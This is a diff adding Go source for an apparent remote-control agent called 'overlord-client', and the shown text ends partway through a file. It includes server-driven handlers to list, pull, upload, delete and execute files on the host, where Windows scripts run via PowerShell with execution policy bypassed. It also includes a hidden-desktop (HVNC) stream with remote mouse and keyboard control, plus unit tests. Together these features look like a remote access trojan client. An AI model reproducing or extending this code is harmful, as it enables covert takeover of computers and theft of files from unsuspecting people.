|
||||
func HandleFileMove(ctx context.Context, env *agentRuntime.Env, cmdID string, source string, dest string) error {
|
||||
log.Printf("file_move: %s -> %s", source, dest)
|
||||
|
||||
destDir := filepath.Dir(dest)
|
||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: err.Error(),
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
err := os.Rename(source, dest)
|
||||
ok := err == nil
|
||||
errMsg := ""
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
}
|
||||
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: ok,
|
||||
Message: errMsg,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func copyFile(src, dst string) error {
|
||||
sourceFile, err := os.Open(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer sourceFile.Close()
|
||||
|
||||
destFile, err := os.Create(dst)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer destFile.Close()
|
||||
|
||||
_, err = io.Copy(destFile, sourceFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
sourceInfo, err := os.Stat(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.Chmod(dst, sourceInfo.Mode())
|
||||
}
|
||||
|
||||
func copyDir(src, dst string) error {
|
||||
sourceInfo, err := os.Stat(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := os.MkdirAll(dst, sourceInfo.Mode()); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, entry := range entries {
|
||||
srcPath := filepath.Join(src, entry.Name())
|
||||
dstPath := filepath.Join(dst, entry.Name())
|
||||
|
||||
if entry.IsDir() {
|
||||
if err := copyDir(srcPath, dstPath); err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
if err := copyFile(srcPath, dstPath); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func HandleFileChmod(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, mode string) error {
|
||||
log.Printf("file_chmod: %s mode=%s", path, mode)
|
||||
|
||||
err := ChangeFilePermissions(path, mode)
|
||||
ok := err == nil
|
||||
errMsg := ""
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
}
|
||||
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: ok,
|
||||
Message: errMsg,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleFileExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
|
||||
log.Printf("file_execute: %s", path)
|
||||
|
||||
err := ExecuteFile(path)
|
||||
ok := err == nil
|
||||
errMsg := ""
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
log.Printf("file_execute error: %v", err)
|
||||
}
|
||||
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: ok,
|
||||
Message: errMsg,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
@@ -0,0 +1,469 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"overlord-client/cmd/agent/config"
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
|
||||
"github.com/vmihailenco/msgpack/v5"
|
||||
"nhooyr.io/websocket"
|
||||
)
|
||||
|
||||
type testWriter struct {
|
||||
msgs [][]byte
|
||||
}
|
||||
|
||||
func (w *testWriter) Write(ctx context.Context, messageType websocket.MessageType, p []byte) error {
|
||||
w.msgs = append(w.msgs, append([]byte(nil), p...))
|
||||
return nil
|
||||
}
|
||||
|
||||
func TestHandleFileList(t *testing.T) {
|
||||
|
||||
tmpDir := t.TempDir()
|
||||
|
||||
testFile1 := filepath.Join(tmpDir, "test1.txt")
|
||||
testFile2 := filepath.Join(tmpDir, "test2.txt")
|
||||
testDir := filepath.Join(tmpDir, "testdir")
|
||||
|
||||
if err := os.WriteFile(testFile1, []byte("content1"), 0644); err != nil {
|
||||
t.Fatalf("Failed to create test file: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(testFile2, []byte("content2"), 0644); err != nil {
|
||||
t.Fatalf("Failed to create test file: %v", err)
|
||||
}
|
||||
if err := os.Mkdir(testDir, 0755); err != nil {
|
||||
t.Fatalf("Failed to create test directory: %v", err)
|
||||
}
|
||||
|
||||
writer := &testWriter{}
|
||||
env := &rt.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{},
|
||||
}
|
||||
|
||||
ctx := context.Background()
|
||||
cmdID := "test-cmd-1"
|
||||
|
||||
if err := HandleFileList(ctx, env, cmdID, tmpDir); err != nil {
|
||||
t.Fatalf("HandleFileList failed: %v", err)
|
||||
}
|
||||
|
||||
if len(writer.msgs) != 1 {
|
||||
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
|
||||
}
|
||||
|
||||
var result wire.FileListResult
|
||||
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
|
||||
t.Fatalf("Failed to unmarshal result: %v", err)
|
||||
}
|
||||
|
||||
if result.Type != "file_list_result" {
|
||||
t.Errorf("Expected type 'file_list_result', got '%s'", result.Type)
|
||||
}
|
||||
if result.CommandID != cmdID {
|
||||
t.Errorf("Expected CommandID '%s', got '%s'", cmdID, result.CommandID)
|
||||
}
|
||||
if len(result.Entries) != 3 {
|
||||
t.Errorf("Expected 3 entries, got %d", len(result.Entries))
|
||||
}
|
||||
|
||||
names := make(map[string]bool)
|
||||
for _, entry := range result.Entries {
|
||||
names[entry.Name] = entry.IsDir
|
||||
}
|
||||
|
||||
if len(names) != 3 {
|
||||
t.Logf("Found entries: %v", names)
|
||||
}
|
||||
|
||||
hasTest1 := false
|
||||
hasTest2 := false
|
||||
hasTestDir := false
|
||||
for name, isDir := range names {
|
||||
if name == "test1.txt" {
|
||||
hasTest1 = true
|
||||
}
|
||||
if name == "test2.txt" {
|
||||
hasTest2 = true
|
||||
}
|
||||
if isDir {
|
||||
hasTestDir = true
|
||||
}
|
||||
}
|
||||
|
||||
if !hasTest1 || !hasTest2 || !hasTestDir {
|
||||
t.Errorf("Missing expected entries - test1:%v test2:%v testdir:%v", hasTest1, hasTest2, hasTestDir)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleFileList_InvalidPath(t *testing.T) {
|
||||
writer := &testWriter{}
|
||||
env := &rt.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{},
|
||||
}
|
||||
|
||||
ctx := context.Background()
|
||||
cmdID := "test-cmd-2"
|
||||
|
||||
invalidPath := filepath.Join(t.TempDir(), "nonexistent")
|
||||
if err := HandleFileList(ctx, env, cmdID, invalidPath); err != nil {
|
||||
t.Fatalf("HandleFileList should not return error: %v", err)
|
||||
}
|
||||
|
||||
if len(writer.msgs) != 1 {
|
||||
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
|
||||
}
|
||||
|
||||
var result wire.FileListResult
|
||||
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
|
||||
t.Fatalf("Failed to unmarshal result: %v", err)
|
||||
}
|
||||
|
||||
if result.Error == "" {
|
||||
t.Error("Expected error message for invalid path")
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleFileDownload(t *testing.T) {
|
||||
|
||||
tmpDir := t.TempDir()
|
||||
testFile := filepath.Join(tmpDir, "download_test.txt")
|
||||
testContent := []byte("This is test content for download")
|
||||
|
||||
if err := os.WriteFile(testFile, testContent, 0644); err != nil {
|
||||
t.Fatalf("Failed to create test file: %v", err)
|
||||
}
|
||||
|
||||
writer := &testWriter{}
|
||||
env := &rt.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{},
|
||||
}
|
||||
|
||||
ctx := context.Background()
|
||||
cmdID := "test-cmd-3"
|
||||
|
||||
if err := HandleFileDownload(ctx, env, cmdID, testFile); err != nil {
|
||||
t.Fatalf("HandleFileDownload failed: %v", err)
|
||||
}
|
||||
|
||||
if len(writer.msgs) == 0 {
|
||||
t.Fatal("Expected at least 1 message")
|
||||
}
|
||||
|
||||
var download wire.FileDownload
|
||||
if err := msgpack.Unmarshal(writer.msgs[0], &download); err != nil {
|
||||
t.Fatalf("Failed to unmarshal download message: %v", err)
|
||||
}
|
||||
|
||||
if download.Type != "file_download" {
|
||||
t.Errorf("Expected type 'file_download', got '%s'", download.Type)
|
||||
}
|
||||
if download.CommandID != cmdID {
|
||||
t.Errorf("Expected CommandID '%s', got '%s'", cmdID, download.CommandID)
|
||||
}
|
||||
if download.Total != int64(len(testContent)) {
|
||||
t.Errorf("Expected total size %d, got %d", len(testContent), download.Total)
|
||||
}
|
||||
|
||||
var assembled []byte
|
||||
for _, msg := range writer.msgs {
|
||||
var chunk wire.FileDownload
|
||||
if err := msgpack.Unmarshal(msg, &chunk); err != nil {
|
||||
t.Fatalf("Failed to unmarshal chunk: %v", err)
|
||||
}
|
||||
assembled = append(assembled, chunk.Data...)
|
||||
}
|
||||
|
||||
if string(assembled) != string(testContent) {
|
||||
t.Errorf("Downloaded content mismatch:\ngot: %s\nwant: %s", string(assembled), string(testContent))
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleFileDelete(t *testing.T) {
|
||||
|
||||
tmpDir := t.TempDir()
|
||||
testFile := filepath.Join(tmpDir, "delete_test.txt")
|
||||
|
||||
if err := os.WriteFile(testFile, []byte("delete me"), 0644); err != nil {
|
||||
t.Fatalf("Failed to create test file: %v", err)
|
||||
}
|
||||
|
||||
writer := &testWriter{}
|
||||
env := &rt.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{},
|
||||
}
|
||||
|
||||
ctx := context.Background()
|
||||
cmdID := "test-cmd-4"
|
||||
|
||||
if err := HandleFileDelete(ctx, env, cmdID, testFile); err != nil {
|
||||
t.Fatalf("HandleFileDelete failed: %v", err)
|
||||
}
|
||||
|
||||
if _, err := os.Stat(testFile); !os.IsNotExist(err) {
|
||||
t.Error("File should have been deleted")
|
||||
}
|
||||
|
||||
if len(writer.msgs) != 1 {
|
||||
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
|
||||
}
|
||||
|
||||
var result wire.CommandResult
|
||||
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
|
||||
t.Fatalf("Failed to unmarshal result: %v", err)
|
||||
}
|
||||
|
||||
if !result.OK {
|
||||
t.Errorf("Expected OK=true, got false with message: %s", result.Message)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleFileMkdir(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
newDir := filepath.Join(tmpDir, "newdir")
|
||||
|
||||
writer := &testWriter{}
|
||||
env := &rt.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{},
|
||||
}
|
||||
|
||||
ctx := context.Background()
|
||||
cmdID := "test-cmd-5"
|
||||
|
||||
if err := HandleFileMkdir(ctx, env, cmdID, newDir); err != nil {
|
||||
t.Fatalf("HandleFileMkdir failed: %v", err)
|
||||
}
|
||||
|
||||
info, err := os.Stat(newDir)
|
||||
if err != nil {
|
||||
t.Fatalf("Directory should have been created: %v", err)
|
||||
}
|
||||
if !info.IsDir() {
|
||||
t.Error("Created path should be a directory")
|
||||
}
|
||||
|
||||
if len(writer.msgs) != 1 {
|
||||
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
|
||||
}
|
||||
|
||||
var result wire.CommandResult
|
||||
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
|
||||
t.Fatalf("Failed to unmarshal result: %v", err)
|
||||
}
|
||||
|
||||
if !result.OK {
|
||||
t.Errorf("Expected OK=true, got false with message: %s", result.Message)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleFileUpload(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
uploadPath := filepath.Join(tmpDir, "uploaded.txt")
|
||||
uploadContent := []byte("This is uploaded content")
|
||||
|
||||
writer := &testWriter{}
|
||||
env := &rt.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{},
|
||||
}
|
||||
|
||||
ctx := context.Background()
|
||||
cmdID := "test-cmd-6"
|
||||
|
||||
if err := HandleFileUpload(ctx, env, cmdID, uploadPath, uploadContent, 0, int64(len(uploadContent)), "test-transfer"); err != nil {
|
||||
t.Fatalf("HandleFileUpload failed: %v", err)
|
||||
}
|
||||
|
||||
content, err := os.ReadFile(uploadPath)
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to read uploaded file: %v", err)
|
||||
}
|
||||
|
||||
if string(content) != string(uploadContent) {
|
||||
t.Errorf("Upload content mismatch:\ngot: %s\nwant: %s", string(content), string(uploadContent))
|
||||
}
|
||||
|
||||
if len(writer.msgs) != 1 {
|
||||
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
|
||||
}
|
||||
|
||||
var result wire.FileUploadResult
|
||||
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
|
||||
t.Fatalf("Failed to unmarshal result: %v", err)
|
||||
}
|
||||
|
||||
if !result.OK {
|
||||
t.Errorf("Expected OK=true, got false with error: %s", result.Error)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleFileDownload_Chunked(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
filePath := filepath.Join(tmpDir, "chunked.bin")
|
||||
data := bytes.Repeat([]byte("a"), maxChunkSize*2+123)
|
||||
|
||||
if err := os.WriteFile(filePath, data, 0644); err != nil {
|
||||
t.Fatalf("Failed to create test file: %v", err)
|
||||
}
|
||||
|
||||
writer := &testWriter{}
|
||||
env := &rt.Env{Conn: writer, Cfg: config.Config{}}
|
||||
ctx := context.Background()
|
||||
|
||||
if err := HandleFileDownload(ctx, env, "cmd-chunked-dl", filePath); err != nil {
|
||||
t.Fatalf("HandleFileDownload failed: %v", err)
|
||||
}
|
||||
|
||||
if len(writer.msgs) < 2 {
|
||||
t.Fatalf("Expected multiple chunks, got %d", len(writer.msgs))
|
||||
}
|
||||
|
||||
var assembled []byte
|
||||
var chunksTotal int
|
||||
for _, msg := range writer.msgs {
|
||||
var chunk wire.FileDownload
|
||||
if err := msgpack.Unmarshal(msg, &chunk); err != nil {
|
||||
t.Fatalf("Failed to unmarshal chunk: %v", err)
|
||||
}
|
||||
assembled = append(assembled, chunk.Data...)
|
||||
chunksTotal = chunk.ChunksTotal
|
||||
if chunk.Total != int64(len(data)) {
|
||||
t.Fatalf("Expected total %d, got %d", len(data), chunk.Total)
|
||||
}
|
||||
}
|
||||
|
||||
if chunksTotal < 2 {
|
||||
t.Fatalf("Expected chunksTotal >= 2, got %d", chunksTotal)
|
||||
}
|
||||
if !bytes.Equal(assembled, data) {
|
||||
t.Fatalf("Downloaded content mismatch")
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleFileUpload_Chunked(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
uploadPath := filepath.Join(tmpDir, "uploaded.bin")
|
||||
data := bytes.Repeat([]byte("b"), maxChunkSize*2+77)
|
||||
|
||||
writer := &testWriter{}
|
||||
env := &rt.Env{Conn: writer, Cfg: config.Config{}}
|
||||
ctx := context.Background()
|
||||
cmdID := "cmd-chunked-ul"
|
||||
transferID := "transfer-123"
|
||||
|
||||
chunks := [][]byte{
|
||||
data[:maxChunkSize],
|
||||
data[maxChunkSize : maxChunkSize*2],
|
||||
data[maxChunkSize*2:],
|
||||
}
|
||||
|
||||
offset := int64(0)
|
||||
for _, chunk := range chunks {
|
||||
if err := HandleFileUpload(ctx, env, cmdID, uploadPath, chunk, offset, int64(len(data)), transferID); err != nil {
|
||||
t.Fatalf("HandleFileUpload failed: %v", err)
|
||||
}
|
||||
offset += int64(len(chunk))
|
||||
}
|
||||
|
||||
content, err := os.ReadFile(uploadPath)
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to read uploaded file: %v", err)
|
||||
}
|
||||
if !bytes.Equal(content, data) {
|
||||
t.Fatalf("Uploaded content mismatch")
|
||||
}
|
||||
|
||||
if len(writer.msgs) != len(chunks) {
|
||||
t.Fatalf("Expected %d messages, got %d", len(chunks), len(writer.msgs))
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleFileUpload_InvalidChunk(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
uploadPath := filepath.Join(tmpDir, "bad.bin")
|
||||
|
||||
writer := &testWriter{}
|
||||
env := &rt.Env{Conn: writer, Cfg: config.Config{}}
|
||||
ctx := context.Background()
|
||||
|
||||
if err := HandleFileUpload(ctx, env, "cmd-bad", uploadPath, []byte("bad"), 5, 4, "bad-transfer"); err != nil {
|
||||
t.Fatalf("HandleFileUpload failed: %v", err)
|
||||
}
|
||||
|
||||
if len(writer.msgs) != 1 {
|
||||
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
|
||||
}
|
||||
|
||||
var result wire.FileUploadResult
|
||||
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
|
||||
t.Fatalf("Failed to unmarshal result: %v", err)
|
||||
}
|
||||
if result.OK {
|
||||
t.Fatalf("Expected OK=false for invalid chunk")
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleFileZip(t *testing.T) {
|
||||
|
||||
tmpDir := t.TempDir()
|
||||
sourceDir := filepath.Join(tmpDir, "source")
|
||||
|
||||
if err := os.Mkdir(sourceDir, 0755); err != nil {
|
||||
t.Fatalf("Failed to create source dir: %v", err)
|
||||
}
|
||||
|
||||
testFile := filepath.Join(sourceDir, "test.txt")
|
||||
if err := os.WriteFile(testFile, []byte("zip me"), 0644); err != nil {
|
||||
t.Fatalf("Failed to create test file: %v", err)
|
||||
}
|
||||
|
||||
writer := &testWriter{}
|
||||
env := &rt.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{},
|
||||
}
|
||||
|
||||
ctx := context.Background()
|
||||
cmdID := "test-cmd-7"
|
||||
|
||||
if err := HandleFileZip(ctx, env, cmdID, sourceDir); err != nil {
|
||||
t.Fatalf("HandleFileZip failed: %v", err)
|
||||
}
|
||||
|
||||
if len(writer.msgs) == 0 {
|
||||
t.Fatal("Expected at least 1 message")
|
||||
}
|
||||
|
||||
hasResult := false
|
||||
hasDownload := false
|
||||
|
||||
for _, msg := range writer.msgs {
|
||||
var testMsg map[string]interface{}
|
||||
if err := msgpack.Unmarshal(msg, &testMsg); err == nil {
|
||||
msgType, _ := testMsg["type"].(string)
|
||||
if msgType == "command_result" {
|
||||
hasResult = true
|
||||
}
|
||||
if msgType == "file_download" {
|
||||
hasDownload = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("Has command_result: %v, has file_download: %v", hasResult, hasDownload)
|
||||
|
||||
if !hasResult && !hasDownload {
|
||||
t.Error("Expected either command_result or file_download message")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,104 @@
|
||||
//go:build !windows
|
||||
// +build !windows
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"os/user"
|
||||
"strconv"
|
||||
"strings"
|
||||
"syscall"
|
||||
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
func getFilePermissions(info os.FileInfo) (mode, owner, group string) {
|
||||
|
||||
mode = fmt.Sprintf("%04o", info.Mode().Perm())
|
||||
|
||||
if stat, ok := info.Sys().(*syscall.Stat_t); ok {
|
||||
|
||||
if u, err := user.LookupId(strconv.Itoa(int(stat.Uid))); err == nil {
|
||||
owner = u.Username
|
||||
} else {
|
||||
owner = strconv.Itoa(int(stat.Uid))
|
||||
}
|
||||
|
||||
if g, err := user.LookupGroupId(strconv.Itoa(int(stat.Gid))); err == nil {
|
||||
group = g.Name
|
||||
} else {
|
||||
group = strconv.Itoa(int(stat.Gid))
|
||||
}
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func enrichFileEntry(entry *wire.FileEntry, info os.FileInfo) {
|
||||
mode, owner, group := getFilePermissions(info)
|
||||
entry.Mode = mode
|
||||
entry.Owner = owner
|
||||
entry.Group = group
|
||||
}
|
||||
|
||||
func ChangeFilePermissions(path string, mode string) error {
|
||||
|
||||
var modeVal uint32
|
||||
_, err := fmt.Sscanf(mode, "%o", &modeVal)
|
||||
if err != nil {
|
||||
return fmt.Errorf("invalid mode format: %v", err)
|
||||
}
|
||||
|
||||
return os.Chmod(path, os.FileMode(modeVal))
|
||||
}
|
||||
|
||||
func ExecuteFile(path string) error {
|
||||
ext := ""
|
||||
if idx := strings.LastIndex(path, "."); idx != -1 {
|
||||
ext = path[idx:]
|
||||
}
|
||||
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
return fmt.Errorf("file not found: %s", path)
|
||||
}
|
||||
|
||||
switch ext {
|
||||
case ".sh", ".bash":
|
||||
|
||||
return execCommand("bash", path)
|
||||
case ".py":
|
||||
|
||||
return execCommand("python3", path)
|
||||
case ".rb":
|
||||
|
||||
return execCommand("ruby", path)
|
||||
case ".js":
|
||||
|
||||
return execCommand("node", path)
|
||||
case ".pl":
|
||||
|
||||
return execCommand("perl", path)
|
||||
case "":
|
||||
|
||||
if info.Mode()&0111 != 0 {
|
||||
return execCommand(path)
|
||||
}
|
||||
return fmt.Errorf("file is not executable")
|
||||
default:
|
||||
|
||||
if info.Mode()&0111 != 0 {
|
||||
return execCommand(path)
|
||||
}
|
||||
return fmt.Errorf("unsupported file type: %s", ext)
|
||||
}
|
||||
}
|
||||
|
||||
func execCommand(name string, args ...string) error {
|
||||
cmd := exec.Command(name, args...)
|
||||
|
||||
return cmd.Start()
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
func enrichFileEntry(entry *wire.FileEntry, info os.FileInfo) {
|
||||
|
||||
}
|
||||
|
||||
func ChangeFilePermissions(path string, mode string) error {
|
||||
return fmt.Errorf("chmod not supported on Windows")
|
||||
}
|
||||
|
||||
func ExecuteFile(path string) error {
|
||||
|
||||
ext := ""
|
||||
lastDot := -1
|
||||
for i := len(path) - 1; i >= 0; i-- {
|
||||
if path[i] == '.' {
|
||||
lastDot = i
|
||||
break
|
||||
}
|
||||
if path[i] == '/' || path[i] == '\\' {
|
||||
break
|
||||
}
|
||||
}
|
||||
if lastDot >= 0 {
|
||||
ext = path[lastDot:]
|
||||
}
|
||||
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
return fmt.Errorf("file not found: %s", path)
|
||||
}
|
||||
|
||||
switch ext {
|
||||
case ".exe", ".com":
|
||||
|
||||
return execCommand(path)
|
||||
case ".bat", ".cmd":
|
||||
|
||||
return execCommand("cmd.exe", "/c", path)
|
||||
case ".ps1":
|
||||
|
||||
return execCommand("powershell.exe", "-ExecutionPolicy", "Bypass", "-File", path)
|
||||
case ".vbs":
|
||||
|
||||
return execCommand("wscript.exe", path)
|
||||
case ".py":
|
||||
|
||||
return execCommand("python", path)
|
||||
case ".js":
|
||||
|
||||
return execCommand("node", path)
|
||||
default:
|
||||
return fmt.Errorf("unsupported file type: %s", ext)
|
||||
}
|
||||
}
|
||||
|
||||
func execCommand(name string, args ...string) error {
|
||||
cmd := exec.Command(name, args...)
|
||||
|
||||
return cmd.Start()
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"strings"
|
||||
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
)
|
||||
|
||||
func HandleHelloAck(_ context.Context, env *runtime.Env, envelope map[string]interface{}) error {
|
||||
log.Printf("hello ack received")
|
||||
if env == nil || envelope == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var keywords []string
|
||||
minInterval := 0
|
||||
|
||||
if raw, ok := envelope["notification"].(map[string]interface{}); ok {
|
||||
if rawKeywords, ok := raw["keywords"].([]interface{}); ok {
|
||||
for _, v := range rawKeywords {
|
||||
if s, ok := v.(string); ok {
|
||||
s = strings.TrimSpace(s)
|
||||
if s != "" {
|
||||
keywords = append(keywords, s)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if v, ok := raw["minIntervalMs"].(float64); ok {
|
||||
minInterval = int(v)
|
||||
}
|
||||
if v, ok := raw["minIntervalMs"].(int); ok {
|
||||
minInterval = v
|
||||
}
|
||||
}
|
||||
|
||||
if len(keywords) > 0 || minInterval > 0 {
|
||||
env.SetNotificationConfig(keywords, minInterval)
|
||||
log.Printf("hello ack: loaded %d notification keywords", len(keywords))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"overlord-client/cmd/agent/capture"
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
hvncPersistedDisplayValue int
|
||||
hvncPersistedDisplayMu sync.Mutex
|
||||
)
|
||||
|
||||
func persistHVNCDisplaySelection(display int) {
|
||||
hvncPersistedDisplayMu.Lock()
|
||||
hvncPersistedDisplayValue = display
|
||||
hvncPersistedDisplayMu.Unlock()
|
||||
}
|
||||
|
||||
func GetPersistedHVNCDisplay() int {
|
||||
hvncPersistedDisplayMu.Lock()
|
||||
defer hvncPersistedDisplayMu.Unlock()
|
||||
return hvncPersistedDisplayValue
|
||||
}
|
||||
|
||||
func HVNCStart(ctx context.Context, env *rt.Env) error {
|
||||
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30)
|
||||
log.Printf("hvnc: starting stream (max fps %d)", fps)
|
||||
|
||||
if err := capture.InitializeHVNCDesktop(); err != nil {
|
||||
log.Printf("hvnc: failed to initialize hidden desktop: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
log.Printf("hvnc: stopping stream")
|
||||
capture.CleanupHVNCDesktop()
|
||||
return nil
|
||||
case <-ticker.C:
|
||||
if err := capture.NowHVNC(ctx, env); err != nil {
|
||||
if ctx.Err() != nil {
|
||||
log.Printf("hvnc: stopping stream")
|
||||
capture.CleanupHVNCDesktop()
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: capture error: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func HVNCSelect(ctx context.Context, env *rt.Env, display int) error {
|
||||
prev := env.HVNCSelectedDisplay
|
||||
maxDisplays := capture.HVNCMonitorCount()
|
||||
if display < 0 || display >= maxDisplays {
|
||||
log.Printf("hvnc: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1)
|
||||
display = 0
|
||||
}
|
||||
env.HVNCSelectedDisplay = display
|
||||
|
||||
persistHVNCDisplaySelection(display)
|
||||
log.Printf("hvnc: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display)
|
||||
return nil
|
||||
}
|
||||
|
||||
func HVNCMouseControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.HVNCMouseControl = enabled
|
||||
log.Printf("hvnc: mouse control %v", enabled)
|
||||
return nil
|
||||
}
|
||||
|
||||
func HVNCKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.HVNCKeyboardControl = enabled
|
||||
log.Printf("hvnc: keyboard control %v", enabled)
|
||||
return nil
|
||||
}
|
||||
|
||||
func HVNCCursorControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||
env.HVNCCursorCapture = enabled
|
||||
capture.SetHVNCCursorCapture(enabled)
|
||||
log.Printf("hvnc: cursor capture %v", enabled)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
//go:build !windows
|
||||
|
||||
package handlers
|
||||
|
||||
func setCursorPosHVNC(x, y int32) {}
|
||||
func sendMouseDownHVNC(button int) {}
|
||||
func sendMouseUpHVNC(button int) {}
|
||||
func sendKeyDownHVNC(vk uint16) {}
|
||||
func sendKeyUpHVNC(vk uint16) {}
|
||||
func keyCodeToVKHVNC(code string) uint16 { return 0 }
|
||||
@@ -0,0 +1,7 @@
|
||||
//go:build windows
|
||||
|
||||
package handlers
|
||||
|
||||
func keyCodeToVKHVNC(code string) uint16 {
|
||||
return keyCodeToVK(code)
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
//go:build !windows
|
||||
|
||||
package handlers
|
||||
|
||||
func setCursorPos(x, y int32) {}
|
||||
func sendMouseDown(button int) {}
|
||||
func sendMouseUp(button int) {}
|
||||
func sendKeyDown(vk uint16) {}
|
||||
func sendKeyUp(vk uint16) {}
|
||||
func sendTextInput(text string) {}
|
||||
func keyCodeToVK(code string) uint16 { return 0 }
|
||||
@@ -0,0 +1,282 @@
|
||||
//go:build windows
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var (
|
||||
